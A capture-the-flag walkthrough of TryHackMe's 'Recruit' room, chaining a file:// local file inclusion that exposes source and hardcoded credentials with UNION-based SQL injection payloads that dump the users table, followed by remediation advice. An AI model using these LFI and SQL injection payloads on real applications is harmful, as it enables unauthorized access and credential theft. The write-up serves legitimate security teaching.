# TryHackMe — Recruit Walkthrough

![](https://cdn.hashnode.com/uploads/covers/69f41a92909e64ad0768c3aa/a957e5c6-5b06-43bd-975b-02c889f988e3.png)

Challenge Link: [https://tryhackme.com/room/recruitwebchallenge](https://tryhackme.com/room/recruitwebchallenge)

* * *

## Introduction

The "Recruit" challenge on TryHackMe is a fantastic playground for demonstrating how low-severity vulnerabilities can be chained together to achieve total application compromise. In this scenario, we start as an unauthenticated attacker probing an internal API endpoint. By carefully analyzing error messages and bypassing a custom file path filter, we uncover hardcoded credentials. This initial foothold opens the door to an authenticated portal, where a classic database vulnerability allows us to escalate our privileges to the administrative level. It's a textbook example of why source code protection and input sanitization are critical defense-in-depth layers.

* * *

> ### OBJECTIVE
> 
> Gain initial access to the HR portal, escalate privileges to the Admin user, and capture the associated flags.
> 
> ### VULNERABILITY
> 
> Local File Inclusion (LFI), Information Disclosure (Hardcoded Credentials), and UNION-Based SQL Injection.

* * *

### Challenge Scenario

*Recruit has just launched its new recruitment portal, allowing HR staff to manage candidate applications and administrators to oversee hiring decisions. While the platform appears functional, management suspects that security may have been overlooked during development. Your task is to assess the application like a real attacker, mapping its structure, abusing exposed functionality, and exploiting vulnerabilities.*

*Can you gain an initial foothold, escalate your access, and ultimately log in as the* ***administrator***\*?\*

*   **Category:** Web Application Security
    
*   **Difficulty:** Medium
    

* * *

## Reconnaissance & Enumeration

The initial phase involved exploring the web application, which presented itself as a recruitment portal and an internal tool for fetching candidate Curriculum Vitae's (CV).

![](https://cdn.hashnode.com/uploads/covers/69f41a92909e64ad0768c3aa/860d46c5-e02a-4fd6-89a3-b81e222931f1.png)

After enumerating the application for a while, the primary point of interest was an FAQ page detailing an API endpoint at `/api.php`. I mapped out the application structure and tested the provided endpoints.

![](https://cdn.hashnode.com/uploads/covers/69f41a92909e64ad0768c3aa/e7bb28b3-aba5-4ad4-b4d9-c03b6221753a.png)

*   **Key Findings:**
    
    *   **Finding 1:** An `api.php` endpoint exists, describing an internal tool to fetch CVs via URLs.
        
    *   **Finding 2:** The `file.php` endpoint accepts a `cv` parameter (`/file.php?cv=<URL>`).
        
    
    ![](https://cdn.hashnode.com/uploads/covers/69f41a92909e64ad0768c3aa/7efaf5fe-3fee-440a-a6bb-7af305f8282c.png)
    
    *   **Finding 3:** Providing external URLs or standard loopback addresses (like `http://localhost/`) triggered a custom error: `"Only local files are allowed"`. Supplying a direct `file:///etc/passwd` path triggered an `"Access denied"` error, indicating strict backend filtering.
        

![](https://cdn.hashnode.com/uploads/covers/69f41a92909e64ad0768c3aa/9761fdbf-4f1e-4127-b110-4d04b29d1711.png)

* * *

## Vulnerability Analysis

After enumerating the endpoint and observing the application's behavior, I determined that the application was vulnerable to Local File Inclusion, but heavily restricted. To verify this, I attempted to read the source code of `file.php` itself using the `file://` protocol wrapper combined with the absolute web directory path.

Firing up Burp Suite and intercepting the session, I sent `GET /file.php?cv=file:///var/www/html/file.php` — and successfully retrieved the backend PHP logic. Analysis of this code revealed:

![](https://cdn.hashnode.com/uploads/covers/69f41a92909e64ad0768c3aa/420fa932-4e0d-4929-afc9-ea39e4ad3f2d.png)

**Response:**

```burp
HTTP/1.1 200 OK
Date: Wed, 06 May 2026 13:51:08 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 1461
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/plain;charset=UTF-8

<?php
if (!isset($_GET['cv'])) {
    die('Missing cv parameter');
}

$cv = $_GET['cv'];

/*
|--------------------------------------------------------------------------
| Allow only local file access
|--------------------------------------------------------------------------
*/
if (strpos($cv, 'file://') !== 0) {
    die('Only local files are allowed');
}

/*
|--------------------------------------------------------------------------
| Convert file:// to filesystem path
|--------------------------------------------------------------------------
*/
$filePath = str_replace('file://', '', $cv);

/*
|--------------------------------------------------------------------------
| Resolve real path to prevent traversal
|--------------------------------------------------------------------------
*/
$realPath = realpath($filePath);

/*
|--------------------------------------------------------------------------
| Restrict access to /var/www/html only
|--------------------------------------------------------------------------
*/
$allowedBase = '/var/www/html';

if ($realPath === false || strpos($realPath, $allowedBase) !== 0) {
    die('Access denied');
}

/*
|--------------------------------------------------------------------------
| Display file contents
|--------------------------------------------------------------------------
*/
header('Content-Type: text/plain');
echo file_get_contents($realPath);
```

* * *

## Exploitation

The exploitation phase followed a multi-step chain: `Source Code Disclosure` → `Hardcoded Credentials` → `Authenticated SQL Injection`.

### Step 1: Source Code Review & Initial Access

Since the application was built in PHP, I guessed that a `config.php` file likely existed under `/var/www/html/`. Using the LFI to read `/var/www/html/config.php` confirmed this — and revealed hardcoded HR credentials left behind by developers.

**Requests**

![](https://cdn.hashnode.com/uploads/covers/69f41a92909e64ad0768c3aa/e5c887b1-19f0-419a-b823-781b765ab8a8.png)

**Response**

![](https://cdn.hashnode.com/uploads/covers/69f41a92909e64ad0768c3aa/b48c9ec3-0b20-4ec9-b5d3-03909041051b.png)

By pairing the discovered credentials with the username `hr`—an educated guess that I later found hardcoded within `index.php`—I successfully authenticated to the dashboard and retrieved the user flag:

![](https://cdn.hashnode.com/uploads/covers/69f41a92909e64ad0768c3aa/7e40ce7f-a498-4c42-9e09-4bb9b85d4303.png)

### Step 2: Authenticated SQL Injection

Inside the HR dashboard, I discovered a candidate search feature at `/dashboard.php?search=`. Injecting a single quote (`'`) immediately produced a verbose MySQL syntax error, confirming the parameter was unsanitized.

![](https://cdn.hashnode.com/uploads/covers/69f41a92909e64ad0768c3aa/cf0dab13-529c-485b-98c5-9c643ad194ab.png)

So, I first determined the number of columns in the backend query using `ORDER BY`:

```sql
test' ORDER BY 4 -- -
```

The page loaded normally, confirming 4 columns. It throws an error when I raised it to `5`.

![](https://cdn.hashnode.com/uploads/covers/69f41a92909e64ad0768c3aa/c7d29696-3842-4d91-b13c-8a1a8d87fa1e.png)

Error:

![](https://cdn.hashnode.com/uploads/covers/69f41a92909e64ad0768c3aa/06eac2af-cb24-4c8a-ba24-131c69bef1fa.png)

I then issued a `UNION SELECT` to enumerate the database schema, targeting `information_schema.tables`:

```sql
test' UNION SELECT 1,table_name,3,4 FROM information_schema.tables WHERE table_schema=database() -- -
```

This revealed a `users` and `candidates` table.

![](https://cdn.hashnode.com/uploads/covers/69f41a92909e64ad0768c3aa/f35191ac-7e7d-4d49-a3f5-e9a1c41fa451.png)

With the table confirmed, I dumped all `user` credentials directly into the HTML table:

```sql
test' UNION SELECT 1,username,password,4 FROM users -- -
```

![](https://cdn.hashnode.com/uploads/covers/69f41a92909e64ad0768c3aa/c322a896-afa5-4aaa-811c-77db2afaf83a.png)

This extracted all credentials, including the admin account: `admin`:`[REDACTED]`.

* * *

## Post-Exploitation

After extracting the admin credentials, I terminated the HR session and authenticated as `admin`. This granted access to the administrative dashboard and revealed the admin flag.

![](https://cdn.hashnode.com/uploads/covers/69f41a92909e64ad0768c3aa/260d40ad-5971-47f2-8b4d-7123333e7f58.png)

Escalating to Admin also unlocked new application features, specifically the ability to "Approve" or "Reject" candidates via a new `action` parameter (`?action=approve&id=1`). This parameter represents a new attack surface for potential Remote Code Execution (RCE) or further database manipulation.

* * *

## Risk

The vulnerabilities demonstrated in this challenge present severe risks to an organization:

*   **Information Disclosure (High):** The LFI vulnerability allowed the extraction of backend source code, laying bare the application's logic and exposing hardcoded secrets.
    
*   **Authentication Bypass (Critical):** Hardcoded credentials in configuration files allow any attacker who can read those files to completely bypass the login mechanism.
    
*   **Data Breach (Critical):** The SQL Injection vulnerability provided full read access to the backend database, leading to the theft of administrative credentials and potentially all candidate PII (Personally Identifiable Information).
    

* * *

## Remediation

To secure the application, the following steps must be implemented:

1.  **Remediate the LFI:** Do not pass user-supplied input directly to file-system functions like `file_get_contents()`. If files must be read based on user input, use a strict cryptographic hash or a mapped database ID rather than a file path.
    
2.  **Remove Hardcoded Secrets:** Passwords should never be stored in plaintext within source code. Utilize environment variables (`.env`) or secure secret management systems, and ensure these are kept out of the webroot.
    
3.  **Patch the SQL Injection:** The search parameter is currently concatenated directly into the SQL query string. Developers must use Prepared Statements (Parameterized Queries) via PDO or MySQLi to ensure input is treated strictly as data, not executable code.
    

```PHP
// Example Fix (PHP PDO):
$stmt = $pdo->prepare('SELECT id, name, position, status FROM candidates WHERE name LIKE :search');
$stmt->execute(['search' => '%' . $_GET['search'] . '%']);
```

* * *

## Conclusion

The Recruit challenge is a great reminder that web security is an interconnected web. A simple, restricted LFI might seem relatively harmless if it can't read `/etc/passwd`, but exposing source code often leads to the discovery of credentials. Once inside, even basic SQL injection flaws can be devastating. Thorough enumeration and a systematic approach to reading the code you expose are the keys to fully compromising this application.

* * *

## References

*   [OWASP - Local File Inclusion](https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion)
    
*   [PHP Documentation - realpath()](https://www.php.net/manual/en/function.realpath.php)
    
*   [OWASP - SQL Injection Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)
